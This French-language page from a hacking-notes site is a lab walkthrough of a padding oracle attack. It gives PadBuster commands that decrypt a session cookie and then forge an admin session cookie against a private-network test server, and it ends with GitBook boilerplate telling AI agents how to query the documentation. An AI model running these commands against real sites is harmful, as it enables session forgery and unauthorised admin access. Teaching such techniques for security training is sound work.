> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/padding-oracle-attack/padding-oracle-techniques-pentesting-web.md).

# Techniques d’oracle de padding

Allons **créer un utilisateur** sur le site web :

<figure><img src="/files/79bc2caec9868cfb9a51250a01d048d5395b99bf" alt="" width="563"><figcaption></figcaption></figure>

Voici le **cookie de session** qui est fragmenté et que nous essayons de **déchiffrer**:

<figure><img src="/files/2683a0b75574dfc67d05b44f6274b524c3f3d9ed" alt=""><figcaption></figcaption></figure>

Avec l'outil **PadBuster**, nous envoyons le lien avec le cookie de session et son nom comme suit :

```perl
padbuster http://192.168.71.129/index.php dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard 8 -cookies 'auth=dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard'

```

Il renvoie les valeurs du cookie en **texte clair**:

<figure><img src="/files/7a2db201a8477250253a29396e2e71f1194cfb66" alt="" width="563"><figcaption></figcaption></figure>

Si, au lieu de définir **user=jordan**, nous le chiffrons comme **user=admin**, cela nous donne le cookie de session administrateur s’il existe. Avec **PadBuster**, nous renvoyons la commande, mais cette fois nous utilisons **-plaintext** parce que nous connaissons le texte en clair que nous voulons chiffrer avec le même **oracle**:

```perl
padbuster http://192.168.71.129/index.php dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard 8 -cookies 'auth=dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard' -plaintext 'user=admin'

```

Il nous donne le cookie de session **admin**:

<figure><img src="/files/9bfba87326b5175fba4699ec74262a2a71345234" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/padding-oracle-attack/padding-oracle-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
